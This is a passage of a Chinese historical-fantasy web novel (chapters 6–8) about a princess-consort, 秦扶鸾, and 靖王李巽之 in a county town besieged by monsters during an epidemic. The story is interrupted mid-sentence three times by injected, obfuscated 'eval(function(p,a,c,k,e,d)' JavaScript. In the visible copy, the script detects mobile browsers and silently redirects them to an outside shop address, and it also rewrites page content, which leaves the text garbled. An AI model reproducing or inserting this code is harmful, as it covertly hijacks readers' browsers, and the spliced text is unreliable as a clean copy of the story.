秦扶鸾心中忧虑,也没有心思在此多留,和卢望川打了个招呼便带着杜文宪和冯简回到了馆驿。 杜文宪已过知非之年,须发花白,因这两日的惊心动魄和操劳过度,眼角的皱纹似乎又多了几道。 秦扶鸾见他神情疲乏,也是不忍,她打起精神安慰了杜文宪一番,又命冯简扶其回房安歇。 送走两人,秦扶鸾整个人瘫软在窗下的一张矮塌上,睁着眼睛望着头顶的房梁发呆。 杜文宪说得没错,叶星武艺超群,若真是遇到了什么麻烦,自己去了也不一定能帮到什么,反而可能成为对方的累赘。 可她明知对方此刻正身处险境,又怎么能安心地待在这里什么都不做? 秦扶鸾担心叶星,也担心此刻远在幽州的阿耶和阿姐。 不知幽州此时情况如何,此地距幽州尚远,疫情应暂时扩散不到幽州。 昨夜她已经给幽州节帅府去过急函,但不知那封急函能否顺利送到幽州,疫情发展如此迅猛,各地的驿传系统怕是很快就会瘫痪。 越想越觉得焦心,秦扶鸾索性闭上眼睛假寐。 或许是昨晚一夜未睡,加入连日来的奔波,她的身体和精神都疲乏到了极点,这一闭眼竟然就这么不受控制地睡了过去。 过了不知多久,门外突然传来一阵动静。 秦扶鸾立刻警觉地睁开眼睛,凝神静听了一会儿,发现是窗外有人在交谈。 她全身放松下来,犹豫片刻,起身推门而出。 就见门外金乌西坠,残阳似血,将一方庭院照得静谧又绮丽。 不远处的长廊下,青苗正一脸通红地同一个身穿明光甲的玉面小将交谈。 那人见到秦扶鸾出来,面带微笑朝她行礼道:“王妃殿下,末将崔尚,奉靖王殿下之命来护王妃殿下鸾驾!” 6. 第 6 章 这夜顿丘县内灯火通明,大街小巷上人声鼎沸,脚步声、说话声加上公人们搬运重物的声音如海潮一般涌过来。 或许是白日里睡饱了精神,秦扶鸾躺在馆驿的床榻上,翻来覆去,直至月落中天,她才浅浅入眠。 翌日,她早早醒来。 如今城中有了靖王李巽之和县令卢望川主事,大小事务自然用不着她去操心,秦扶鸾无事可做,闲下来又忍不住忧虑叶星的安危,索性转到马厩里去看剩下的那三匹白马。 这三匹白马均是秦扶鸾费尽心思搜罗来的纯种大宛马,前日虽受了不小惊吓,此刻立在馆驿里的简陋马厩中看起来依旧精神奕奕,有种和周围环境格格不入的卓然超群之感。 秦扶鸾一手抚摸着白马的鬃毛,一手拿草料喂它们,口中轻声哄道:“这几日就先将就一下,以后再给你们喂栗麦和蜂蜜。” 旭日初升,天际处朝霞如绡,她喂了一会儿马,正要走出马厩,忽听到身后有人声靠近,似乎还有些耳熟。 “要我说就别管他了,现在城中乱成了一团,我们要去哪里弄药来给他?他向来胆小,定是被那东西吓破了胆,瞧着是救不活了,咱们就别费那个力气了。” 另一人的声音听起来有些犹豫,说:“这……要是王妃殿下问起来可怎么好?” “王妃殿下是什么人?咱们又是什么人?她哪里会记得咱们,咱们就是死了臭了怕是也没人知道。” 说完这句,他似乎又有些自伤,一时之间两人都唉声叹气起来。 秦扶鸾拍了拍手上的草灰,从马厩里转了出来,笑着问:“你们刚才在说谁要病死了?” 两人看到她,吓了一大跳,愣在当场,反应过来后,又忙不迭地跪下来磕头:“王……王妃殿下!” 秦扶鸾认出来这是送亲仪仗队里的两名乐工,队伍发生暴乱后,她在逃亡路上将他们几人救下。 她不欲吓到二人,不再开口,只是面带微笑等着两人组织语言。 就见其中一人吞了吞口水,壮着胆子回道:“回禀王妃殿下,患病之人乃是一名乐工,他前日到这馆驿后就发起了烧,烧得人事不知,如今瞧着已是十分不济,奴婢等有心求医问药,可昨夜起城中开始管制,各大医馆全都关张了。” 秦扶鸾稍作思索,道:“你们先带我过去看看。” 两人对视一眼,有些犹豫,但又不好违背秦扶鸾的命令,只好躬身小心翼翼地在前面带路。 像他们这种乐工自然是没资格住在馆驿内的,只能在馆驿后面的空地上支起个帐篷,权当作暂时歇脚的地方。 秦扶鸾跟着两名乐工钻进其中一个帐篷内,就见里面躺着一个年轻男人,面色惨白如纸,一动不动,不知是死是活。 她走上前去,伸手在那男人的鼻子下探了一下,还有些微弱的呼吸,再掀开眼皮一看,并没有变红的症状。 她掀开帘子,走出帐篷,朝着两人道:“你们二人在此好好照看他,我去给他找郎中来。”说完,转身离开。 两名乐工躬身垂首,有些受宠若惊,加之慌乱失措,忙不迭地点头:“谨遵殿下吩咐!” 谁知走到廊下的秦扶鸾又回过头来看着他们,道:“你们是我的人,我当然记得你们,也会管你们的死活。” 说完,便大步离开了。 正如那两名乐工所说,现在城中乱作一团,县衙内的公人忙得人仰马翻,今早还要送那位靖王殿下出城,卢望川此刻定是分身乏术,秦扶鸾不想去麻烦他,准备自行去医馆里找郎中。 她带着青禾青苗收拾妥当,正准备出门。 冯简闻讯赶至,说要护送她们一起去。 秦扶鸾看了一眼身后,嘴角浅浅勾起一抹弧度,用只有两人能听见的声音道:“不用了,有人跟着呢,你自去忙你的吧。” 冯简愣了一下,回头看了一眼,会意点头。 冯简有多年行伍经验,又身怀绝技,此时县衙内正是缺人手的时候,自是能派上大用场,若是拘着他来陪自己,倒是大材小用了。 秦扶鸾带着青禾青苗走出馆驿,就见顿丘县内大街小巷人人脚步匆匆、面色沉重,走街串巷而过,耳边时不时能听到一些慌张破碎的交谈,议论的都是此时围在城外那来路不明的怪物,整座城池弥漫着不安和惶恐的情绪。 秦扶鸾按照指引,直奔医馆而去。 此时已过巳时,医馆的门板却还上了大半,只留了容一人进出的身位,秦扶鸾小心翼翼地钻进门内。 室内昏暗,一个头发花白的老者站在柜台前,似乎正在收捡行装。 见有人来,他连连摆手,说:“小娘子,今日不看诊,请回吧。” 昨夜公人已经来过此处,通知所有郎中去县衙听候差遣,还将城中所有药材铺子里的所有存货都充作公用。 秦扶鸾亮明身份,并且说明来意。 那老者吓了一跳,连忙跪在地上给她磕头行礼,可言语间依旧有些犹豫。 那公人来时说得严厉,说要是他们这些郎中胆敢私下接诊就把他们抓进大牢严刑伺候。 他不过是个升斗小民,什么王爷王妃在他看来只是很遥远的一个称呼,但县令却是一整个县城的天,是最大的父母官,若是得罪了县太爷,不亚于天塌了。 秦扶鸾也不恼,温声道:“你自去馆驿看诊,若是有人问起,你便道是我让你去的,县令那边我自会原原本本说个清楚,定不会连累你。” 如此劝说片刻,那老者终是点头应了。 秦扶鸾让青禾带着老者前去馆驿给那乐工看诊,她自己则带着青苗在城中逛了起来。 昨夜睡得不好,晨起时她没有用膳,现在在城中走了半圈,腹中有些饥饿。 寻了一圈,发现城中的酒楼也都关张了。秦扶鸾瞥见前面街尾处支着个卖馄饨的小摊子,便带着青禾走过去坐了下来。 摊主是个面相老实的中年男子,一边为她们煮着馄饨一边神色张皇地望着街道上来往匆匆的行人。 忽听到街对面传来一阵法铃声和唱诵声,抬头去望,原来是一个穿着白袍的老道士带着几个小道童在对面那户人家前做法。 就见那白袍老道设坛入户,步罡踏斗,低声念咒,手指翻飞结印,一套流程下来,开始向周围的百姓散发黄符。众人瞬间拥上去哄抢,脸上的神情急切又虔诚。 青苗看得新奇,道:“这些人莫不是在做法事驱魔,城外的那些东西又不是妖魔鬼怪,怎么可能靠这些黄符纸镇压?” 秦扶鸾冷眼看了片刻,嘴角勾起讽刺一笑,道:“楚王好细腰,宫人多饿死。上行下效,向来如此。” 当今圣人迷信道法,追求长生,朝野遂成风气。听说长安的大明宫内穿紫佩黄的道士往来如云,炼丹的丹房内终日云雾缭绕,炉火一刻不得停歇。上犹如此,民间更是道观如林、方士如云。曾有人戏言,长安城内卖符箓的,怕是比卖米的还多。 这顿丘县不过是河北道下辖的一个小县城罢了,离长安尚有千里之遥,没想到也染上了此等风气。 吃完馄饨,秦扶鸾又转去了一家铁匠铺子,就见铺子里挤满了前来挑选防身兵器的百姓。 铁匠正一头热汗地在锅炉前叮叮咚咚地敲打着东西,见到她们进来,态度也不甚热络,道:“小娘子,如今怕是接不了定制的活了,铺子里只剩下些成品,若是能看得上,就挑一件吧。” 形势所迫,也没办法。秦扶鸾逛了一圈,最后挑中了一把约莫二尺半的横刀。 她拿着那柄横刀问铁匠价钱。 “八十贯铜钱。”铁匠道。 现在封城管制,所有物资都紧俏起来,兵器的价格自然也是水涨船高。 秦扶鸾仔细打量着手里的那把横刀,没有急着付钱,而是转头朝门外喊了一声:“崔将军。” 铁匠和青苗都有些不明所以,茫然转头跟着她看向门外。 空气凝滞了片刻,就见门外转出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郎中已经给那乐工看完诊,此时廊下支着一个小炉子,正在咕咚咕咚熬着药,一股苦涩又叫人安心的药汤味飘满了整个院子。 两名乐工正在炉子前忙活着,抬头见秦扶鸾来了,忙趋步过来行礼。 秦扶鸾抬手止住他们,径直走到那帐篷前,一撩帘子,探身进去看那乐工情况。 就见那乐工依旧双眼紧闭躺在那里,面色泛着潮红,眉头紧促,似乎在睡梦中也颇为痛苦,却不是之前那副人事不知的模样了,显然病情是在好转。 秦扶鸾放下心来,待要离开,又见他身下只垫着些干草,身上也只盖着一层薄薄的粗棉被褥。 眼下虽是六月初夏,但夜间却依旧有些凉意,这样沉重的病体隔着薄薄的一层干草睡在地上,怕是实在吃不消。 她转头去看青苗,道:“去问问驿使馆驿内可有空着的房间,若是有,将他安置过去。”顿了一下,又道:“给他找一床厚实些的被褥。” 青苗领命去了。 秦扶鸾走出帐篷,朝自己的住处走去。 明明已经将一切都交代好,她却始终觉得心中惴惴,似乎还悬着什么事情似的,但左思右想,又想不出什么头绪。 恰逢杜文宪从县衙内回来,两人迎面碰到。简单询问了几句现在城中的布防情况。秦扶鸾像是想起了什么,又问:“这城中的县丞今日可露面了?” 杜文宪一大早去县衙帮几个主簿整理籍册调度钱粮,忙得一头大汗,听到秦扶鸾这话,他愣了一下,回道:“不曾。” 秦扶鸾蹙眉,冲他点点头,道:“你去忙吧。” 杜文宪擦擦着额头的汗,领命去了。 往前走了两步,秦扶鸾心中的那种不安感愈发强烈,她又回头叫住杜文宪,道:“杜副使,我有事出去一趟,若是冯简回来,让他直接去县丞家中寻我。” 7. 第 7 章 夕阳销金,鸦声嘹唳。 李巽之站在城门楼上眺望着远处的山间平畴和游荡在那苍茫暮色中凝结成点点墨色的噬人鬼怪。 夕阳的光影将他英美锐利的侧脸镀上一层鎏金,远处群山绵延,和他宽阔起伏的背脊线条融在一起。 半年前靖王李巽之因出言触怒圣人被赶出长安,黜为黎阳镇守使。 黎阳镇位于卫州治所黎阳县,素有“黎阳仓城”的美誉。因此地乃是西进洛阳、南下江淮的重要前进基地,也是帝国重要粮仓、漕运枢纽,故而历任黎阳镇守使无一不是帝心之倚、股肱之寄。 虽这守使一职位卑权重,但身为食万邑、驾驷乘的堂堂亲王竟然被赶到这弹丸之地当一镇守使。这半年来,这位昔日长安城中金鞍玉勒、恣肆无忌的靖王殿下过得不可谓不憋闷。 前些日接连下了几场暴雨,为了迎接即将到来的汛期,李巽之亲自率领部下巡防永济渠、加固河堤,忽闻手下急报,说距离此处不远的昌乐县附近似乎发生异动。 算算日子,那支送亲队伍似乎也要到那附近了。 李巽之当即给昌乐县和顿丘县的县令各去了一封急函,让他们无论如何都要护住那位节度使之女。待处理完手中事务,他亲率几十骑兵,夤夜急驰赶往顿丘县。没想到还没到目的地,就在官道附近碰到了被围困的卢望川等人。 李巽之之所以这么在乎那女子的死活,倒不完全是因为她即将成为自己的嫂嫂。 自安史胡虏之祸后,藩镇林立,尾大不掉,已是江河横流之势。大大小小的藩镇中尤以河朔三镇为甚。三镇不仅自成一体、世袭罔替,境内更是骄兵逐帅,战火无日不有。 俗语道“长安天子,魏府牙兵”,节度使为了巩固自己的统治,必要厚赏士卒,长此以往,养成了手下牙兵们骄纵贪婪的风气,一旦得不到满足,他们便会杀死旧主,拥立新主,这便是三镇以下克上的传统。 如今的三镇之中势头最盛的幽州节度使秦猛原来便是一名牙兵将领,此人狼子野心、手段酷辣,一朝发动兵变杀死旧主,跃身成为新的节度使。 秦猛性情凶悍不驯,他上位之后不仅自置官吏、私蓄甲兵、不供贡赋,甚至还寻衅将朝廷在幽州的监军使斩杀,使得藩镇和朝廷的关系变得更加紧张。 这几年秦猛年纪大了,精力大不如前,大约是瞧着自己始终生不出来儿子,节度使之位没有名正言顺的继承人,加之外有其他藩镇虎视眈眈,内有手下悍将蠢蠢欲动,秦猛对朝廷态度总算有所缓和,前些日子竟然还允了朝廷的赐婚,答应将自己的女儿嫁入皇家,结为秦晋之好。 只不过当初明明商议好要将大女儿嫁过来,最后登上婚车的却是小女儿。原本嫁大女儿还是小女儿也是无妨,只是这般临阵变卦,轻诺寡信,完全不将天家威严放在眼里,实在可恨。 一想起密报上说秦家的那两位小娘子在听闻朝廷有结亲意向后互相推诿,一副避之唯恐不及的模样,竟是谁也不愿意嫁过来,李巽之更是恨得牙痒痒。 恨虽恨,他却也明白那秦家小娘子万万不能在去长安的路上发生任何意外,否则朝廷与幽州好不容易有所缓和的局势怕是又要陷入混乱。 李巽之皱眉,又想起那女子今日的种种做派,愈发觉得她和她那阴险狡诈的节度使父亲倒是极为相似。 这样的女子竟然要嫁给自己那风光霁月、如谪仙人般的兄长,李巽之由衷地为自己的兄长生出一种不平之感。 身后传来脚步声,李巽之回过神来。 一名面容俊秀的年轻将士走到近前,恭敬地回禀:“殿下,城墙这边已经布置妥当。顿丘县城墙高两丈有余,长七里有余,夯土为基,转石堆砌,女墙高六尺,堞眼相隔五步,除了增设岗哨日夜巡防外,各处堞眼均配备一名弓弩手,另备火油、滚石。引火墙也已经竖起,另外,城内军械库内的弩床也已调出来备用。” 那年轻将士顿了一下,原本想说其实昨夜睿王妃已经做好了大致部署,今日他们不过是酌情增补了一些,但看面前那位靖王殿下的脸色,他就知道这话最好还是咽进肚子里,于是只道:“如此准备,应当万无一失。” 听完下属的汇报,李巽之点点头,抬步朝城门楼下走去,走出去几步,似是想起了什么,他回首,目光落在身后那个年轻将士身上,道:“明日你不用跟着本王去昌乐县,秦氏女狡诈多谋,你去馆驿看着她。” 那年轻将士一愣,躬身应是,随即领命去了。 从城墙处下来,李巽之又亲率部下去城中各坊一一巡查。 顿丘县说大并不算大,却也是个东西跨度八十余里、南北跨度九十余里的中等县,城中共有十八个坊,按户巡查,逐一勘验,诚非易事。 是夜梆传三更,大街小巷依旧灯火幢幢,铁甲铿然。李巽之率部下十几骑从一街巷疾驰而过,忽闻身后县尉曹德全小声嘟囔了一句:“我们忙得昏天黑地,他身为县丞倒在家中躲懒。” 李巽之回头去看,只见路边一处亮着灯火的宅院前站着一个文士打扮的清瘦中年男子,正在门前接受盘问。两人视线相对,中年男子很快就低下头去。 曹德全瞥见李巽之的动作,吓了一跳,似是没想到这位靖王殿下的耳力如此敏锐,自己不过一句低声抱怨,竟被他听入耳中。 曹德全埋下头,后背冒出一层冷汗,正犹豫要不要开口解释,再抬头时却见前方那匹黑色宝驹四蹄翻飞,载着马背上那道矫捷如豹的身影,很快就融入了夜色之中。 今夜事多,明日一早还要出发去昌乐县,李巽之不得不加快动作。 好在城门关闭及时,城内暂时风平浪静,并未发现任何异动。直到确认整个顿丘县像个铁桶一般坚不可破,他这才带领部下纵马回到县衙。 夜色已深,县衙内却还灯火通明。 县令卢望川听到马蹄声,匆忙迎上来,殷勤地询问李巽之今夜要下榻何处,还道馆驿那边已经为他安排好了住处。 李巽之道:“不必折腾,本王今夜睡在此处。”说罢,按着腰间佩刀,大步朝县衙内走去。 卢望川闻言一喜,暗自庆幸,还好他做了两手准备,早就让手下公人在县衙后收拾出了数间厢房出来。 靖王殿下乃是天潢贵胄、尊荣无比,虽说了不必折腾,但却万万不能怠慢。 是夜月明星稀,李巽之带着两名亲信在卢望川的指引下来到一处东厢房。 推门而入,房内异香扑鼻,灯影绰绰,就见两名貌美婢子恭顺地站在屋内,声音娇脆如莺:“奴婢拜见靖王殿下。” 李巽之回头去看。 卢望川脸上堆着笑,道:“殿下今夜辛劳,下官挑了两个身家清白的侍儿,好帮殿下松松筋骨。” 此话一出,跟在李巽之身后的一个桃花眼青年“扑哧”一声笑出声来,另一个青年虽没笑出声,一张黑黑的脸皮也因为忍笑有些微微发红。 李巽之面无表情地盯着卢望川:“本王让你留在县衙忙,你就忙这个?” 卢望川一愣,一时之间没听出靖王殿下这句话是何意思。 “滚。”李巽之的语气十分不耐烦:“你滚!让她们也滚!” 卢望川吓了一跳,反应过来,面色苍白地招呼两个婢女从房内退出来,忙不迭地告退离开。 等人连滚带爬地走远了,李巽之阴沉沉的目光又转向身后那两人。 裴澍生见状立刻识趣道:“殿下不消说,属下也马上滚。”说罢,拉着仍杵在那里的尉迟谦一溜烟走了。 李巽之黑着脸大步踏入房内,推开轩窗,让满屋子的气味散开,转到屏风后,看到浴桶里盛满了温热的清水,在烛火下泛着粼粼波光,他的脸色才稍稍好看了些。 县令的宅子就在县衙隔壁,一路上卢望川垂头丧气,心里琢磨着自己究竟是哪里做得不好才惹得靖王殿下如此动怒。 莫不是这位靖王殿下今夜太过劳累,自己送了两个美娇娘过去,对方消受不起,又怕在部下面前损了颜面,这才大动肝火? 思及此,卢望川恍然大悟,心中更是悔恨,简直恨不得甩自己两个巴掌才好。 他一路唉声叹气地去了。 县衙这边,李巽之洗漱完毕,刚浅眠了两个时辰,天光已经透过窗户照了进来,他收拾妥当后迈出房门,吩咐部下准备辎重出发去昌乐县。 卢望川也起了个大早,他眼下挂着两个青黑眼圈,小心翼翼地陪在一旁,见李巽之并没有再追究昨晚的事情,心里松了口气。 “殿下,城外现在围着不少那东西,是否要等那些东西散开些再准备出城?”他的语气带着几分讨好。 卢望川刚过而立,穿着讲究,蓄着一把美髯,打眼一看翩翩文士风流,只不过脊梁骨稍显软了些,倒显得他那通身的高洁雅士风范有些滑稽。 卢望川出身范阳卢氏,祖上出过不少显赫的大人物,不过到了他这一支渐渐没落了下来,卢望川靠着门荫谋得了一个小京官的位置,苦心经营数年,又被下放到此处当了一个小县令,本来就等着熬够资历内迁回长安,没想到眼下又出现了这事,昨夜他一夜未睡,嘴角也急出了几个大燎泡。 “殿下,其实不必非得劳动殿下千金之躯,下官手下也有几名很是能干的不良人,不如让他们去昌乐县……” 李巽之眉头微皱,转头淡淡扫他一眼。 卢望川顿觉后背寒毛竖起,像是凭空多了一把锃亮的刀刃悬在他后脖颈上,刀锋冒着丝丝凉意,他立刻缩紧了脖子不敢再开口。 卢望川以前做京官的时候也曾于街边人群中远远见过这位靖王殿下一面,那时他一骑当先领着一堆世家子弟驰过朱雀大街,金鞍玉勒、旌旗招展,马蹄踏碎天街尘土。 当时卢望川并没有在那张意气风发的脸上看出半分传闻中的阴鸷嗜杀气息,没想到几年未见,这位靖王殿下竟真的活脱脱变成了一个凶神,只一个眼神便叫人不寒而栗。 一轮朝阳攀上县衙对面那堵青灰色的高墙,远处的街巷内传来嘈杂的人声。 李巽之站在县衙大门前,低头看着手中的地形图。 踏垛下的那片空地上,他的部下正在检查甲胄、给战马喂精饲料、准备辎重。 昨晚公人们已经将县衙门口围着的百姓全都驱散了,街角巷尾分别站着两个手执水火棍的公人,拦住要过来的闲散人等。 一个拎着药箱的老者急匆匆地朝这边赶来,还没靠近,便被守候在旁的公人一把拽到旁边去了,喝道:“休要冲撞贵人!” 那老者下意识转头朝县衙大门望去,就见卢县令正弓腰陪在一个青年身边,那青年身材高大,身穿墨色圆领袍、腰系玉带、脚蹬皮靴,虽看不清面容,周身却分明散发着一股贵不可言的气息。 老者不敢多看,忙不迭地随着那公人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就见街角那边一左一右站着两个公人,其中一个公人身旁站着一个拎着药箱的老者,两人头凑在一起似乎在低语些什么,但隔得很远,什么也听不清。 “殿下在看什么?可是有什么不妥?”卢望川有些疑惑。 李巽之收回眼神,道:“无事。” 他抬脚踩着踏垛朝前走去,下属恭敬地给他牵来那匹纯黑宝马。 那马驼着李巽之奔驰了一夜,此刻仍精神奕奕地立在那里,看起来神气非常,不见丝毫疲倦。 李巽之摸了摸宝马漆黑如润的鬃毛。 那秦氏女竟然会请郎中去给一个小小的乐工看诊?倒有些出乎他的意料。不过想想也很合理,毕竟她这人向来亲疏分明,从来只管自己人死活。 一个小小的节度使之女,能有什么广阔胸襟和眼界? 李巽之嗤笑一声,翻身上马,一抖手中缰绳,宝马甩开四蹄,正欲朝城门方向奔去。 忽听得身后有一阵迅疾的车马声靠近。 李巽之回头去看,就见一辆马车由远及近朝县衙方向奔来,守在街尾的公人连忙上前拦住车,一个身穿文士长袍的老者从车内探出脑袋来,面色焦急地与他们交涉。 李巽之微微眯了眯眼,他昨日见过这个文官,一直跟在那秦氏女身边的幽州节度副使杜文宪。 站在县衙大门前的卢望川也注意到了杜文宪,忙示意公人放行。 “杜副使,你怎么来了?” 杜文宪气喘吁吁从马车上跳下来,语气急切地问:“卢大人,冯简冯将军可在县衙内?” 卢望川愣了一下,道:“冯将军刚才出发去了城门处,正和曹县尉一起勘验城防。” 杜文宪听到这话,也不说话,拎着袍子又转身往马车上爬。 卢望川一头雾水,忙伸手拉住他,问:“杜副使,这是怎么了?若是有要事寻冯将军,下官可派人去城门处为副使大人送信,省得副使大人这般来回奔波。” 杜文宪犹豫了一瞬,心想也不是什么机密要事,派年轻力壮的公人去确实要比他这老胳膊老腿来得快,便道:“王妃殿下刚才去了县丞的住处,还特意交代若是冯将军回了馆驿让他立刻过去寻她,王妃殿下做事向来有章法,我心中不安,故而特地来寻冯将军。” 卢望川更迷惑了:“县丞?他不是抱病在家中休养吗?昨日我派人去喊他回来,他只推脱身上不适,不肯过来。王妃殿下去他家做甚?” 难不成要去探望慰问? 身后那两人的交谈声愈来愈模糊。 已经入夏,不过巳时,头顶的日光已经有些灼热。李巽之纵马前行,率领手下几十精锐骑兵一路朝城门楼奔去。 不知是因为热浪灼人,还是刚才那两人的絮絮交谈声一直萦绕在耳边让人烦心,李巽之陡然升起一股莫名的焦躁。 脑中忽浮现出昨夜路边那中年男子一闪而过的眼神,那眼神不是惧怕、不是好奇,而是一种近乎麻木的冷漠。 一股怪异感伴着不安感油然而生。 李巽之双手用力勒紧缰绳,□□那匹黑色骏马一声嘶鸣,高高扬起前蹄。 在众部下惊讶又不解的目光中,他冷着一张脸,道:“你们去城门处等着,本王稍后就来。” 说完,李巽之掉转马头,墨色骏马四蹄翻飞似雪花浮浪,眨眼就消失在了街尾,只余街旁酒肆的一面青旆迎风招展。 8. 第 8 章 秦扶鸾向驿使问过县丞的住处,带着崔尚一路急驰而去。 顿丘县内混乱不堪,大街上人车交织、拥堵不堪,大大小小的铺子里挤满了来囤购米面的百姓。 两人艰难地纵马穿越人群,到了一处转弯,不妨一个小丫头愣头愣脑地扑出来,差点横尸马蹄之下。 秦扶鸾无暇顾及其他,见那小丫头并未伤到,急忙甩鞭离去。 到了县丞住处近前,两人翻身下马。 就见面前是一幢两进的小宅院,此刻大门紧闭,旁边的门房内空无一人。 秦扶鸾正要上前叩门。 崔尚拦住她。 秦扶鸾有些疑惑,回头看他。 崔尚道:“王妃殿下可是觉得这县丞家中有何不妥?” 秦扶鸾点头,又摇摇头。只不过是她心中有些模糊的猜想,觉得十分不安,想要过来求证一番罢了。 崔尚望着她的眼睛,又道:“昨日公人已经在城中排查过一轮,并未发现异常。” 听到这话,秦扶鸾顿时反应过来。 既然昨日公人已经来排查过,没有发现异常,那说明即便县丞家中有什么,他也必定会极力掩饰。现在他们再过来问一遍,结果也必定还是一样。就算她使出雷霆手段逼问,怕也是要费一番功夫。 秦扶鸾刚才一方面太过急于求证,另一方面自恃身份尊贵,下意识觉得自己出入这种八品微末小官的宅邸自然要光明正大。 此时被崔尚点出关键,她不免有些讶异,心道这人能猜出她心中所想,还能在这么短的时间内帮她考虑到不周之处,可见是个心思极其敏锐之人。 秦扶鸾回头将那崔尚细细打量。 就见那崔尚面色白净俊逸,说话时眼角眉梢似乎带着浅浅笑意,一副未语先笑的模样,看起来十分可亲。 “现在顿丘县内乱作一团,大街小巷都是来往的兵丁,末将身为靖王部下,奉殿下之命前来向县丞请教一些关于县中粮仓户籍的琐事,也合常理。至于王妃殿下……” 这崔尚说话说一半藏一半,滑不溜手,正是她阿耶帐下那些智囊谋士惯用的话术。 秦扶鸾会心一笑,不待他说完,便指着一旁低矮的围墙,道:“你在前面拖延些时间,我翻墙进去看看究竟。” 崔尚也是此意,既然秦扶鸾心中有惑,自然是她自己进去查探最合适不过,也省得和那县丞费口舌上的功夫。 只是此举不免有些冒险,他之前观这位王妃所作所为,知她是个胆大心细、有勇有谋的女子,还有些功夫傍身,应该能应付妥当。但对方毕竟身份尊贵,若是出了差错,他实在担待不起。 崔尚的脑子向来转得快,此刻细细一琢磨,却有些后悔自己出的这主意,正要犹豫是否要转圜一下,到嘴边的话下一瞬却又咽了回去。 只因他看见秦扶鸾撩起裙摆,用一种稍嫌不雅的姿势攀上了墙头。任何一位受过闺训的小娘子怕是都不会当着外男的面做出那般姿态,但那位王妃殿下做起来却十分娴熟自然,甚至还爬出了一种豪迈潇洒之感,显然以前是做惯了的。 崔尚瞠目结舌,来不及感慨,见秦扶鸾骑在墙头朝内张望,他忙走到墙下,仰头看着她,小声叮嘱道:“殿下,若是真的发现了不寻常,万不可轻身犯险,末将就在门外。” 秦扶鸾不在意地冲崔尚挥挥手,压低声音道:“放心,定不会让你交不了差。”说完,纵身一跃,消失不见。 崔尚望着空荡荡的墙头和那万里无云的蓝天,几不可闻地叹了一口气,他转身走到正门前,抬手叩门。 秦扶鸾小时候淘气异常,经常偷偷翻出节帅府和街上的小孩厮混,节帅府的高墙都能翻得,此刻要翻县丞家里这堵矮砖墙那还不是小菜一碟。 她手脚并用翻进墙内,飞快地左右扫了一眼,随即闪身躲在了院中的一个大水缸后。 院内支起几根竹竿,上面晾着两件衣服正迎风轻摆,靠角落的位置用篱笆圈着一个小小的鸡舍,正前方还搭着一个葡萄架,此刻正值初夏,藤上挂着几串绿莹莹的葡萄,看起来十分温馨。 前院敲门声响起,院内依旧一片寂静。 过了片刻,斜前方的一间房内传来脚步声。 秦扶鸾瞬间警觉,隐藏身形,目光紧紧地盯着那个方向。 就见木门从内被拉开,从里面晃出来一个面色苍白、瘦条条的人影。 正是在铁匠铺子里碰到的那个中年男子。 男子脚步虚浮地走到前院,拉开了大门。 秦扶鸾听到前面传来了崔尚模模糊糊的声音,有些听不真切。 她小心翼翼地观察四周,确认院内无人,这才从水缸后走出来,提着裙摆轻手轻脚地朝那男子刚刚走出来的那间房走去。 透过拉开的门缝朝内望去,就见房内靠墙的位置放着一排书架,前面是一张书案,房内还摆着字画瓷瓶、箱柜屏风之类的杂物。 应该是那县丞的书房。 此刻房内无人,秦扶鸾闪身进去,转了一圈,没有发现什么异常。 她又绕到书案前,见上面用镇纸压着一张薄薄的信纸,纸上写着几行字,墨迹尚未干。 “夫人卿卿,见字如面。余今独坐书斋,观院中葡藤郁郁可亲,忽忆此藤乃三载前卿与我亲手所植,昔日不过尺余弱枝,今已葳蕤盎然、碧果盈枝。卿素畏酸涩,每食梅李,必蹙眉摇首。枝头青果虽喜人,若欲食之,卿须少待……” 不过是一封普通的闺房私信。这县丞的字迹飘逸俊秀,字里行间情意缱绻,倒是别有趣味。 秦扶鸾扫了一眼,转身走出书房,又绕到后面的卧房去看,透过窗棂看进去,里面空无一人。 旁边的仆役房和灶间也无人,伸手一摸,锅灶都是冷的,看起来早上并没有生火。 秦扶鸾转了一圈,连放冬菜的地窖也下去看了,依旧没有任何收获。 难道真的是她猜错了?明明什么都没发现,可秦扶鸾心中那种疑惑和不安感却愈发浓烈。 担心前面崔尚拖不了太久,她走到刚才翻进来的围墙边,正打算翻墙出去稍后再议,眼角余光扫到对面,忽顿住了动作。 对面墙角的位置堆着一摞青砖,看起来应该是当初建房时剩下的,青砖在院子里风吹雨打,又靠近水井,常年被水渍浸泡,上面已经长满了绿苔,可不知道为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068823|195189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何,最上面那层青砖上的绿苔斑驳零落,和别处有些不同,像是被什么东西蹭掉了。 她走到近前低头仔细去看,发现上面的那层青砖上似乎有踩踏的痕迹,用手去摸,痕迹还算新鲜。 秦扶鸾福至心灵,踩上青砖,趴着墙头朝外望去。 就见一墙之隔的邻家也是一个格局类似的二进院子,只不过院子里长满了荒草,窗棂破败,蛛网尘封,看起来十分颓败,应该是很久没有人住了。 秦扶鸾注意到那院子里的每间房门上都贴着一个大大的封条,封条有些褪色,应该有些年月了,也不知道主人家犯了什么事落了一个被抄家的下场。 